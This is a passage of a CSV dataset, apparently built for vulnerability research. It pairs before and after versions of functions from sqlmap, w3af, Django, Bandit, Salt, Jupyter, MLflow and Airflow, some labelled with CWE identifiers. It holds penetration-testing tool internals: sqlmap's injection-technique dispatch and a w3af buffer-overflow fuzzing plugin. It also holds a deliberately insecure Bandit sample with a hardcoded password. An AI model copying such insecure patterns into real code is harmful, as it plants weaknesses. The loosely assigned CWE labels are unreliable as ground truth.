if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
kb.technique = PAYLOAD.TECHNIQUE.TIME
else:
kb.technique = PAYLOAD.TECHNIQUE.STACKED
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
else:
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
else:
errMsg = ""none of the injection types identified can be ""
errMsg += ""leveraged to retrieve queries output""
raise SqlmapNotVulnerableException(errMsg)
finally:
kb.resumeValues = True
if suppressOutput is not None:
getCurrentThreadData().disableStdOut = popValue()
kb.safeCharEncode = False
if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler:
warnMsg = ""in case of continuous data retrieval problems you are advised to try ""
warnMsg += ""a switch '--no-cast' and/or switch '--hex'""
singleTimeWarnMessage(warnMsg)
if kb.partRun:
kb.partRun = None
return extractExpectedValue(value, expected)",,sqlmapproject/sqlmap,b272b0574da84980f9559ed3cafd19ff5b1f7d29,"def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
""""""
Called each time sqlmap inject a SQL query on the SQL injection
affected parameter.
""""""
if conf.hexConvert:
charsetType = CHARSET_TYPE.HEXADECIMAL
kb.safeCharEncode = safeCharEncode
kb.resumeValues = resumeValue
if suppressOutput is not None:
pushValue(getCurrentThreadData().disableStdOut)
getCurrentThreadData().disableStdOut = suppressOutput
try:
if expected == EXPECTED.BOOL:
forgeCaseExpression = booleanExpression = expression
if expression.upper().startswith(""SELECT ""):
booleanExpression = ""(%s)=%s"" % (booleanExpression, ""'1'"" if ""'1'"" in booleanExpression else ""1"")
else:
forgeCaseExpression = agent.forgeCaseStatement(expression)
if conf.direct:
value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)
elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
query = cleanQuery(expression)
query = expandAsteriskForColumns(query)
value = None
found = False
count = 0
if query and not re.search(r""COUNT.*FROM.*\(.*DISTINCT"", query, re.I):
query = query.replace(""DISTINCT "", """")
if not conf.forceDns:
if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
kb.technique = PAYLOAD.TECHNIQUE.UNION
value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY
value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if found and conf.dnsName:
_ = """".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {""E"": PAYLOAD.TECHNIQUE.ERROR, ""Q"": PAYLOAD.TECHNIQUE.QUERY, ""U"": PAYLOAD.TECHNIQUE.UNION}.items())))
warnMsg = ""option '--dns-domain' will be ignored ""
warnMsg += ""as faster techniques are usable ""
warnMsg += ""(%s) "" % _
singleTimeWarnMessage(warnMsg)
if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
else:
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
kb.technique = PAYLOAD.TECHNIQUE.TIME
else:
kb.technique = PAYLOAD.TECHNIQUE.STACKED
if expected == EXPECTED.BOOL:
value = _goBooleanProxy(booleanExpression)
else:
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
else:
errMsg = ""none of the injection types identified can be ""
errMsg += ""leveraged to retrieve queries output""
raise SqlmapNotVulnerableException(errMsg)
finally:
kb.resumeValues = True
if suppressOutput is not None:
getCurrentThreadData().disableStdOut = popValue()
kb.safeCharEncode = False
if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler:
warnMsg = ""in case of continuous data retrieval problems you are advised to try ""
warnMsg += ""a switch '--no-cast' and/or switch '--hex'""
singleTimeWarnMessage(warnMsg)
return extractExpectedValue(value, expected)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/buffOverflow.py,0,"def audit(self, freq ):
'''
Tests an URL for buffer overflow vulnerabilities.
@param freq: A fuzzableRequest
'''
om.out.debug( 'bufferOverflow plugin is testing: ' + freq.getURL() )
str_list = self._get_string_list()
try:
oResponse = self._uri_opener.send_mutant(freq)
except:
msg = 'Failed to perform the initial request during buffer'
msg += ' overflow testing'
om.out.debug( msg )
else:
mutants = createMutants(freq , str_list, oResponse=oResponse)
for mutant in mutants:
self._run_async(meth=self._send_request, args=(mutant,))
self._join()",,andresriancho/w3af,434524e6fc7e61d86dc77f3db72b5e8cc7ffc615,"def audit(self, freq ):
'''
Tests an URL for buffer overflow vulnerabilities.
@param freq: A fuzzableRequest
'''
om.out.debug( 'bufferOverflow plugin is testing: ' + freq.getURL() )
str_list = self._get_string_list()
try:
oResponse = self._sendMutant( freq , analyze=False )
except:
msg = 'Failed to perform the initial request during buffer'
msg += ' overflow testing'
om.out.debug( msg )
else:
mutants = createMutants(freq , str_list, oResponse=oResponse)
for mutant in mutants:
self._run_async(meth=self._sendMutant, args=(mutant,))
self._join()"
,UNKNOWN,UNKNOWN,django/views/decorators/debug.py,1,"def decorator(view):
@functools.wraps(view)
def sensitive_post_parameters_wrapper(request, *args, **kwargs):
assert isinstance(request, HttpRequest), (
""sensitive_post_parameters didn't receive an HttpRequest. ""
""If you are decorating a classmethod, be sure to use ""
""@method_decorator.""
)
if parameters:
request.sensitive_post_parameters = parameters
else:
request.sensitive_post_parameters = '__ALL__'
return view(request, *args, **kwargs)
return sensitive_post_parameters_wrapper",CWE-703,django/django,dfb4cb9970f86487f0aaa88c5dfcfafa31e4f430,"def decorator(view):
@functools.wraps(view)
def sensitive_post_parameters_wrapper(request, *args, **kwargs):
assert isinstance(request, HttpRequest), (
""sensitive_post_parameters didn't receive an HttpRequest. If you ""
""are decorating a classmethod, be sure to use @method_decorator.""
)
if parameters:
request.sensitive_post_parameters = parameters
else:
request.sensitive_post_parameters = '__ALL__'
return view(request, *args, **kwargs)
return sensitive_post_parameters_wrapper"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/gis/db/backends/postgis/operations.py,0,"def converter(value, expression, connection):
return None if value is None else GEOSGeometryBase(read(value), geom_class)",CWE-Unknown,django/django,3905cfa1a578275323bfbfbef09f5aee05b33301,"def converter(value, expression, connection):
return None if value is None else GEOSGeometryBase(read(value), geom_class)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,examples/hardcoded-passwords.py,0,,UNKNOWN,PyCQA/bandit,6765a57254a6563a26c946e94321d8d447c094fe,"def someFunction(user, password=""Admin""):
print(""Hi "" + user)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/backends/oracle/operations.py,0,"def _get_no_autofield_sequence_name(self, table):
""""""
Manually created sequence name to keep backward compatibility for
AutoFields that aren't Oracle identity columns.
""""""
name_length = self.max_name_length() - 3
return '%s_SQ' % truncate_name(strip_quotes(table), name_length).upper()",CWE-Unknown,django/django,c6a3546093bebae8225a2c5b7e0836a2b0617ee5,"def _get_no_autofield_sequence_name(self, table):
""""""
Manually created sequence name to keep backward compatibility for
AutoFields that aren't Oracle identity columns.
""""""
name_length = self.max_name_length() - 3
sequence_name = '%s_SQ' % strip_quotes(table)
return truncate_name(sequence_name, name_length).upper()"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/junos.py,0,"def install_config(name, **kwargs):
'''
Loads and commits the configuration provided.
.. code-block:: yaml
/home/user/config.set:
junos:
- install_config
- timeout: 100
name: path to the configuration file.
keyworded arguments taken by load function of PyEZ
'''
ret = {'name': name, 'changes': {}, 'result': True, 'comment': ''}
ret['changes'] = __salt__['junos.install_config'](name, **kwargs)
return ret",,saltstack/salt,7dab1db73d013d66391913504c216fb11cead84d,"def install_config(name, **kwargs):
'''
Loads and commits the configuration provided.
.. code-block:: yaml
/home/user/config.set:
junos:
- install_config
- timeout: 100
name: path to the configuration file.
keyworded arguments taken by load fucntion of PyEZ
'''
ret = {'name': name, 'changes': {}, 'result': True, 'comment': ''}
ret['changes'] = __salt__['junos.install_config'](name, **kwargs)
return ret"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/auth/login.py,0,"def get_user_token(cls, handler):
""""""Get the user token from a request
Default:
- in URL parameters: ?token=
- in header: Authorization: token
""""""
user_token = handler.get_argument('token', '')
if not user_token:
# get it from Authorization header
m = cls.auth_header_pat.match(handler.request.headers.get('Authorization', ''))
if m:
user_token = m.group(1)
return user_token",,jupyter/notebook,ab791441b23458909e92cd7a6881eb2fca393def,"def get_user_token(cls, handler):
""""""Get the user token from a request
Default:
- in URL parameters: ?token=
- in header: Authorization: token
""""""
user_token = handler.get_argument('token', '')
if not user_token:
# get it from Authorization header
m = cls.auth_header_pat.match(handler.request.headers.get('Authorization', ''))
if m:
user_token = m.group(1)
return user_token"
,UNKNOWN,UNKNOWN,tests/server/auth/test_auth.py,1,"def test_authenticate(client, monkeypatch):
# unauthenticated
monkeypatch.delenvs(
[MLFLOW_TRACKING_USERNAME.name, MLFLOW_TRACKING_PASSWORD.name], raising=False
)
with pytest.raises(MlflowException, match=r""You are not authenticated."") as exception_context:
client.search_experiments()
assert exception_context.value.error_code == ErrorCode.Name(UNAUTHENTICATED)
# authenticated
username, password = create_user(client.tracking_uri)
with User(username, password, monkeypatch):
client.search_experiments()",CWE-703,mlflow/mlflow,7217292cdc5df4c3430c682c97e6524b10d1e919,"def test_authenticate(client, monkeypatch):
# unauthenticated
monkeypatch.delenvs(
[MLFLOW_TRACKING_USERNAME.name, MLFLOW_TRACKING_PASSWORD.name], raising=False
)
with pytest.raises(MlflowException, match=r""You are not authenticated."") as exception_context:
client.search_experiments()
assert exception_context.value.error_code == ErrorCode.Name(UNAUTHENTICATED)
# authenticated
username, password = create_user(client.tracking_uri)
with User(username, password, monkeypatch):
client.search_experiments()"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/state.py,0,"def get_tops(self):
'''
Gather the top files
'''
tops = DefaultOrderedDict(list)
include = DefaultOrderedDict(list)
done = DefaultOrderedDict(list)
found = 0 # did we find any contents in the top files?
# Gather initial top files
if self.opts['top_file_merging_strategy'] == 'same' and \
not self.opts['environment']:
if not self.opts['default_top']:
raise SaltRenderError('Top file merge strategy set to same, but no default_top '
'configuration option was set')
self.opts['environment'] = self.opts['default_top']
if self.opts['environment']:
contents = self.client.cache_file(
self.opts['state_top'],
self.opts['environment']
)
if contents:
found = 1
tops[self.opts['environment']] = [
compile_template(
contents,
self.state.rend,
self.state.opts['renderer'],
saltenv=self.opts['environment']
)
]
else:
tops[self.opts['environment']] = [{}]
elif self.opts['top_file_merging_strategy'] == 'merge':
found = 0
if self.opts.get('state_top_saltenv', False):
saltenv = self.opts['state_top_saltenv']
contents = self.client.cache_file(
self.opts['state_top'],
saltenv
)
if contents:
found = found + 1
tops[saltenv].append(
compile_template(
contents,
self.state.rend,
self.state.opts['renderer'],
saltenv=saltenv
)
)
else:
tops[saltenv].append({})
log.debug('No contents loaded for env: {0}'.format(saltenv))
else:
for saltenv in self._get_envs():
contents = self.client.cache_file(
self.opts['state_top'],
saltenv
)
if contents:
found = found + 1
tops[saltenv].append(
compile_template(
contents,
self.state.rend,
self.state.opts['renderer'],
saltenv=saltenv
)
)
else:
tops[saltenv].append({})
log.debug('No contents loaded for env: {0}'.format(saltenv))
if found > 1:
log.warning('Top file merge strategy set to \'merge\' and multiple top files found. '
'Top file merging order is undefined; '
'for better results use \'same\' option')
if found == 0:
log.error('No contents found in top file')
# Search initial top files for includes
for saltenv, ctops in six.iteritems(tops):
for ctop in ctops:
if 'include' not in ctop:
continue
for sls in ctop['include']:
include[saltenv].append(sls)
ctop.pop('include')
# Go through the includes and pull out the extra tops and add them
while include:
pops = []
for saltenv, states in six.iteritems(include):
pops.append(saltenv)
if not states:
continue
for sls_match in states:
for sls in fnmatch.filter(self.avail[saltenv], sls_match):
if sls in done[saltenv]:
continue
tops[saltenv].append(
compile_template(
self.client.get_state(
sls,
saltenv
).get('dest', False),
self.state.rend,
self.state.opts['renderer'],
saltenv=saltenv
)
)
done[saltenv].append(sls)
for saltenv in pops:
if saltenv in include:
include.pop(saltenv)
return tops",,saltstack/salt,996ff56dd47cc8ddb812902f6c3ed941b8bad1aa,"def get_tops(self):
'''
Gather the top files
'''
tops = DefaultOrderedDict(list)
include = DefaultOrderedDict(list)
done = DefaultOrderedDict(list)
found = 0 # did we find any contents in the top files?
# Gather initial top files
if self.opts['top_file_merging_strategy'] == 'same' and \
not self.opts['environment']:
if not self.opts['default_top']:
raise SaltRenderError('Top file merge strategy set to same, but no default_top '
'configuration option was set')
self.opts['environment'] = self.opts['default_top']
if self.opts['environment']:
contents = self.client.cache_file(
self.opts['state_top'],
self.opts['environment']
)
if contents:
found = 1
tops[self.opts['environment']] = [
compile_template(
contents,
self.state.rend,
self.state.opts['renderer'],
saltenv=self.opts['environment']
)
]
elif self.opts['top_file_merging_strategy'] == 'merge':
found = 0
if self.opts.get('state_top_saltenv', False):
saltenv = self.opts['state_top_saltenv']
contents = self.client.cache_file(
self.opts['state_top'],
saltenv
)
if contents:
found = found + 1
else:
log.debug('No contents loaded for env: {0}'.format(saltenv))
tops[saltenv].append(
compile_template(
contents,
self.state.rend,
self.state.opts['renderer'],
saltenv=saltenv
)
)
else:
for saltenv in self._get_envs():
contents = self.client.cache_file(
self.opts['state_top'],
saltenv
)
if contents:
found = found + 1
else:
log.debug('No contents loaded for env: {0}'.format(saltenv))
tops[saltenv].append(
compile_template(
contents,
self.state.rend,
self.state.opts['renderer'],
saltenv=saltenv
)
)
if found > 1:
log.warning('Top file merge strategy set to \'merge\' and multiple top files found. '
'Top file merging order is undefined; '
'for better results use \'same\' option')
if found == 0:
log.error('No contents found in top file')
# Search initial top files for includes
for saltenv, ctops in six.iteritems(tops):
for ctop in ctops:
if 'include' not in ctop:
continue
for sls in ctop['include']:
include[saltenv].append(sls)
ctop.pop('include')
# Go through the includes and pull out the extra tops and add them
while include:
pops = []
for saltenv, states in six.iteritems(include):
pops.append(saltenv)
if not states:
continue
for sls_match in states:
for sls in fnmatch.filter(self.avail[saltenv], sls_match):
if sls in done[saltenv]:
continue
tops[saltenv].append(
compile_template(
self.client.get_state(
sls,
saltenv
).get('dest', False),
self.state.rend,
self.state.opts['renderer'],
saltenv=saltenv
)
)
done[saltenv].append(sls)
for saltenv in pops:
if saltenv in include:
include.pop(saltenv)
return tops"
,UNKNOWN,UNKNOWN,tests/api_connexion/schemas/test_dag_schema.py,1,"def test_serialize(self):
dag = DAG(
dag_id=""test_dag"",
start_date=datetime(2020, 6, 19),
doc_md=""docs"",
orientation=""LR"",
default_view=""duration"",
params={""foo"": 1},
tags=['example1', 'example2'],
)
schema = DAGDetailSchema()
expected = {
'catchup': True,
'concurrency': 16,
'dag_id': 'test_dag',
'dag_run_timeout': None,
'default_view': 'duration',
'description': None,
'doc_md': 'docs',
'fileloc': __file__,
""file_token"": SERIALIZER.dumps(__file__),
'is_paused': None,
'is_subdag': False,
'orientation': 'LR',
'owners': [],
'params': {'foo': 1},
'schedule_interval': {'__type': 'TimeDelta', 'days': 1, 'seconds': 0, 'microseconds': 0},
'start_date': '2020-06-19T00:00:00+00:00',
'tags': [{'name': ""example1""}, {'name': ""example2""}],
'timezone': ""Timezone('UTC')"",
}
assert schema.dump(dag) == expected",CWE-703,apache/airflow,5dd51dc903933457e3f2978c22d8e0f98eb24ff1,"def test_serialize(self):
dag = DAG(
dag_id=""test_dag"",
start_date=datetime(2020, 6, 19),
doc_md=""docs"",
orientation=""LR"",
default_view=""duration"",
params={""foo"": 1},
)
schema = DAGDetailSchema()
expected = {
'catchup': True,
'concurrency': 16,
'dag_id': 'test_dag',
'dag_run_timeout': None,
'default_view': 'duration',
'description': None,
'doc_md': 'docs',
'fileloc': __file__,
""file_token"": SERIALIZER.dumps(__file__),
'is_paused': None,
'is_subdag': False,
'orientation': 'LR',
'owners': [],
'params': {'foo': 1},
'schedule_interval': {'__type': 'TimeDelta', 'days': 1, 'seconds': 0, 'microseconds': 0},
'start_date': '2020-06-19T00:00:00+00:00',
'tags': None,
'timezone': ""Timezone('UTC')"",
}
assert schema.dump(dag) == expected"
,UNKNOWN,UNKNOWN,tests/always/test_project_structure.py,1,"def test_providers_modules_should_have_tests(self):
""""""
Assert every module in /airflow/providers has a corresponding test_ file in tests/airflow/providers.
""""""
# The test below had a but for quite a while and we missed a lot of modules to have tess
# We should make sure that one goes to 0
OVERLOOKED_TESTS = [
""tests/providers/amazon/aws/executors/ecs/test_boto_schema.py"",
""tests/providers/amazon/aws/executors/ecs/test_ecs_executor_config.py"",
""tests/providers/amazon/aws/executors/ecs/test_utils.py"",
""tests/providers/amazon/aws/operators/test_emr.py"",
""tests/providers/amazon/aws/operators/test_sagemaker.py"",
""tests/providers/amazon/aws/sensors/test_emr.py"",
""tests/providers/amazon/aws/sensors/test_sagemaker.py"",
""tests/providers/amazon/aws/test_exceptions.py"",
""tests/providers/amazon/aws/triggers/test_athena.py"",
""tests/providers/amazon/aws/triggers/test_batch.py"",
""tests/providers/amazon/aws/triggers/test_eks.py"",
""tests/providers/amazon/aws/triggers/test_emr.py"",
""tests/providers/amazon/aws/triggers/test_glue_crawler.py"",
""tests/providers/amazon/aws/triggers/test_lambda_function.py"",
""tests/providers/amazon/aws/triggers/test_rds.py"",
""tests/providers/amazon/aws/triggers/test_step_function.py"",
""tests/providers/amazon/aws/utils/test_rds.py"",
""tests/providers/amazon/aws/utils/test_sagemaker.py"",
""tests/providers/amazon/aws/utils/test_sqs.py"",
""tests/providers/amazon/aws/utils/test_tags.py"",
""tests/providers/amazon/aws/waiters/test_base_waiter.py"",
""tests/providers/apache/cassandra/hooks/test_cassandra.py"",
""tests/providers/apache/druid/operators/test_druid_check.py"",
""tests/providers/apache/hdfs/hooks/test_hdfs.py"",
""tests/providers/apache/hdfs/log/test_hdfs_task_handler.py"",
""tests/providers/apache/hdfs/sensors/test_hdfs.py"",
""tests/providers/apache/hive/plugins/test_hive.py"",
""tests/providers/apache/kafka/hooks/test_base.py"",
""tests/providers/celery/executors/test_celery_executor_utils.py"",
""tests/providers/celery/executors/test_default_celery.py"",
""tests/providers/cncf/kubernetes/backcompat/test_backwards_compat_converters.py"",
""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_types.py"",
""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_utils.py"",
""tests/providers/cncf/kubernetes/operators/test_kubernetes_pod.py"",
""tests/providers/cncf/kubernetes/test_k8s_model.py"",
""tests/providers/cncf/kubernetes/test_kube_client.py"",
""tests/providers/cncf/kubernetes/test_kube_config.py"",
""tests/providers/cncf/kubernetes/test_pod_generator_deprecated.py"",
""tests/providers/cncf/kubernetes/test_pod_launcher_deprecated.py"",
""tests/providers/cncf/kubernetes/test_python_kubernetes_script.py"",
""tests/providers/cncf/kubernetes/test_secret.py"",
""tests/providers/cncf/kubernetes/triggers/test_kubernetes_pod.py"",
""tests/providers/cncf/kubernetes/utils/test_delete_from.py"",
""tests/providers/cncf/kubernetes/utils/test_k8s_hashlib_wrapper.py"",
""tests/providers/cncf/kubernetes/utils/test_xcom_sidecar.py"",
""tests/providers/databricks/hooks/test_databricks_base.py"",
""tests/providers/google/cloud/fs/test_gcs.py"",
""tests/providers/google/cloud/links/test_automl.py"",
""tests/providers/google/cloud/links/test_base.py"",
""tests/providers/google/cloud/links/test_bigquery.py"",
""tests/providers/google/cloud/links/test_bigquery_dts.py"",
""tests/providers/google/cloud/links/test_bigtable.py"",
""tests/providers/google/cloud/links/test_cloud_build.py"",
""tests/providers/google/cloud/links/test_cloud_functions.py"",
""tests/providers/google/cloud/links/test_cloud_memorystore.py"",
""tests/providers/google/cloud/links/test_cloud_sql.py"",
""tests/providers/google/cloud/links/test_cloud_storage_transfer.py"",
""tests/providers/google/cloud/links/test_cloud_tasks.py"",
""tests/providers/google/cloud/links/test_compute.py"",
""tests/providers/google/cloud/links/test_data_loss_prevention.py"",
""tests/providers/google/cloud/links/test_datacatalog.py"",
""tests/providers/google/cloud/links/test_dataflow.py"",
""tests/providers/google/cloud/links/test_dataform.py"",
""tests/providers/google/cloud/links/test_datafusion.py"",
""tests/providers/google/cloud/links/test_dataplex.py"",
""tests/providers/google/cloud/links/test_dataprep.py"",
""tests/providers/google/cloud/links/test_dataproc.py"",
""tests/providers/google/cloud/links/test_datastore.py"",
""tests/providers/google/cloud/links/test_kubernetes_engine.py"",
""tests/providers/google/cloud/links/test_life_sciences.py"",
""tests/providers/google/cloud/links/test_mlengine.py"",
""tests/providers/google/cloud/links/test_pubsub.py"",
""tests/providers/google/cloud/links/test_spanner.py"",
""tests/providers/google/cloud/links/test_stackdriver.py"",
""tests/providers/google/cloud/links/test_vertex_ai.py"",
""tests/providers/google/cloud/links/test_workflows.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_auto_ml.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_batch_prediction_job.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_custom_job.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_dataset.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_endpoint_service.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_hyperparameter_tuning_job.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_model_service.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_pipeline_job.py"",
""tests/providers/google/cloud/sensors/test_dataform.py"",
""tests/providers/google/cloud/transfers/test_bigquery_to_sql.py"",
""tests/providers/google/cloud/transfers/test_presto_to_gcs.py"",
""tests/providers/google/cloud/transfers/test_trino_to_gcs.py"",
""tests/providers/google/cloud/triggers/test_cloud_composer.py"",
""tests/providers/google/cloud/utils/test_bigquery.py"",
""tests/providers/google/cloud/utils/test_bigquery_get_data.py"",
""tests/providers/google/cloud/utils/test_dataform.py"",
""tests/providers/google/common/links/test_storage.py"",
""tests/providers/google/common/test_consts.py"",
""tests/providers/google/test_go_module_utils.py"",
""tests/providers/microsoft/azure/fs/test_adls.py"",
""tests/providers/microsoft/azure/operators/test_adls.py"",
""tests/providers/microsoft/azure/transfers/test_azure_blob_to_gcs.py"",
""tests/providers/mongo/sensors/test_mongo.py"",
""tests/providers/openlineage/extractors/test_manager.py"",
""tests/providers/openlineage/plugins/test_adapter.py"",
""tests/providers/openlineage/plugins/test_facets.py"",
""tests/providers/openlineage/test_sqlparser.py"",
""tests/providers/redis/operators/test_redis_publish.py"",
""tests/providers/redis/sensors/test_redis_key.py"",
""tests/providers/slack/notifications/test_slack_notifier.py"",
""tests/providers/snowflake/triggers/test_snowflake_trigger.py"",
]
# TODO: Should we extend this test to cover other directories?
modules_files = list(glob.glob(f""{ROOT_FOLDER}/airflow/providers/**/*.py"", recursive=True))
# Make path relative
modules_files = list(os.path.relpath(f, ROOT_FOLDER) for f in modules_files)
# Exclude example_dags
modules_files = list(f for f in modules_files if ""/example_dags/"" not in f)
# Exclude __init__.py
modules_files = list(f for f in modules_files if not f.endswith(""__init__.py""))
# Change airflow/ to tests/
expected_test_files = list(
f'tests/{f.partition(""/"")[2]}' for f in modules_files if not f.endswith(""__init__.py"")
)
# Add test_ prefix to filename
expected_test_files = list(
f'{f.rpartition(""/"")[0]}/test_{f.rpartition(""/"")[2]}'
for f in expected_test_files
if not f.endswith(""__init__.py"")
)
current_test_files = glob.glob(f""{ROOT_FOLDER}/tests/providers/**/*.py"", recursive=True)
# Make path relative
current_test_files = (os.path.relpath(f, ROOT_FOLDER) for f in current_test_files)
# Exclude __init__.py
current_test_files = (f for f in current_test_files if not f.endswith(""__init__.py""))
modules_files = set(modules_files)
expected_test_files = set(expected_test_files) - set(OVERLOOKED_TESTS)
current_test_files = set(current_test_files)
missing_tests_files = expected_test_files - expected_test_files.intersection(current_test_files)
assert set() == missing_tests_files, ""Detect missing tests in providers module - please add tests""
added_test_files = current_test_files.intersection(OVERLOOKED_TESTS)
assert set() == added_test_files, (
""Detect added tests in providers module - please remove the tests ""
""from OVERLOOKED_TESTS list above""
)",CWE-703,apache/airflow,5305f4b696cf5a786f30e5ebbeab25949b5bbdd4,"def test_providers_modules_should_have_tests(self):
""""""
Assert every module in /airflow/providers has a corresponding test_ file in tests/airflow/providers.
""""""
# The test below had a but for quite a while and we missed a lot of modules to have tess
# We should make sure that one goes to 0
OVERLOOKED_TESTS = [
""tests/providers/amazon/aws/executors/ecs/test_boto_schema.py"",
""tests/providers/amazon/aws/executors/ecs/test_ecs_executor_config.py"",
""tests/providers/amazon/aws/executors/ecs/test_utils.py"",
""tests/providers/amazon/aws/operators/test_emr.py"",
""tests/providers/amazon/aws/operators/test_sagemaker.py"",
""tests/providers/amazon/aws/sensors/test_emr.py"",
""tests/providers/amazon/aws/sensors/test_sagemaker.py"",
""tests/providers/amazon/aws/test_exceptions.py"",
""tests/providers/amazon/aws/triggers/test_athena.py"",
""tests/providers/amazon/aws/triggers/test_batch.py"",
""tests/providers/amazon/aws/triggers/test_eks.py"",
""tests/providers/amazon/aws/triggers/test_emr.py"",
""tests/providers/amazon/aws/triggers/test_glue_crawler.py"",
""tests/providers/amazon/aws/triggers/test_lambda_function.py"",
""tests/providers/amazon/aws/triggers/test_rds.py"",
""tests/providers/amazon/aws/triggers/test_step_function.py"",
""tests/providers/amazon/aws/utils/test_rds.py"",
""tests/providers/amazon/aws/utils/test_sagemaker.py"",
""tests/providers/amazon/aws/utils/test_sqs.py"",
""tests/providers/amazon/aws/utils/test_tags.py"",
""tests/providers/amazon/aws/waiters/test_base_waiter.py"",
""tests/providers/apache/cassandra/hooks/test_cassandra.py"",
""tests/providers/apache/druid/operators/test_druid_check.py"",
""tests/providers/apache/hdfs/hooks/test_hdfs.py"",
""tests/providers/apache/hdfs/log/test_hdfs_task_handler.py"",
""tests/providers/apache/hdfs/sensors/test_hdfs.py"",
""tests/providers/apache/hive/plugins/test_hive.py"",
""tests/providers/apache/kafka/hooks/test_base.py"",
""tests/providers/celery/executors/test_celery_executor_utils.py"",
""tests/providers/celery/executors/test_default_celery.py"",
""tests/providers/cncf/kubernetes/backcompat/test_backwards_compat_converters.py"",
""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_types.py"",
""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_utils.py"",
""tests/providers/cncf/kubernetes/operators/test_kubernetes_pod.py"",
""tests/providers/cncf/kubernetes/test_k8s_model.py"",
""tests/providers/cncf/kubernetes/test_kube_client.py"",
""tests/providers/cncf/kubernetes/test_kube_config.py"",
""tests/providers/cncf/kubernetes/test_pod_generator_deprecated.py"",
""tests/providers/cncf/kubernetes/test_pod_launcher_deprecated.py"",
""tests/providers/cncf/kubernetes/test_python_kubernetes_script.py"",
""tests/providers/cncf/kubernetes/test_secret.py"",
""tests/providers/cncf/kubernetes/triggers/test_kubernetes_pod.py"",
""tests/providers/cncf/kubernetes/utils/test_delete_from.py"",
""tests/providers/cncf/kubernetes/utils/test_k8s_hashlib_wrapper.py"",
""tests/providers/cncf/kubernetes/utils/test_xcom_sidecar.py"",
""tests/providers/databricks/hooks/test_databricks_base.py"",
""tests/providers/google/cloud/fs/test_gcs.py"",
""tests/providers/google/cloud/links/test_automl.py"",
""tests/providers/google/cloud/links/test_base.py"",
""tests/providers/google/cloud/links/test_bigquery.py"",
""tests/providers/google/cloud/links/test_bigquery_dts.py"",
""tests/providers/google/cloud/links/test_bigtable.py"",
""tests/providers/google/cloud/links/test_cloud_build.py"",
""tests/providers/google/cloud/links/test_cloud_functions.py"",
""tests/providers/google/cloud/links/test_cloud_memorystore.py"",
""tests/providers/google/cloud/links/test_cloud_sql.py"",
""tests/providers/google/cloud/links/test_cloud_storage_transfer.py"",
""tests/providers/google/cloud/links/test_cloud_tasks.py"",
""tests/providers/google/cloud/links/test_compute.py"",
""tests/providers/google/cloud/links/test_data_loss_prevention.py"",
""tests/providers/google/cloud/links/test_datacatalog.py"",
""tests/providers/google/cloud/links/test_dataflow.py"",
""tests/providers/google/cloud/links/test_dataform.py"",
""tests/providers/google/cloud/links/test_datafusion.py"",
""tests/providers/google/cloud/links/test_dataplex.py"",
""tests/providers/google/cloud/links/test_dataprep.py"",
""tests/providers/google/cloud/links/test_dataproc.py"",
""tests/providers/google/cloud/links/test_datastore.py"",
""tests/providers/google/cloud/links/test_kubernetes_engine.py"",
""tests/providers/google/cloud/links/test_life_sciences.py"",
""tests/providers/google/cloud/links/test_mlengine.py"",
""tests/providers/google/cloud/links/test_pubsub.py"",
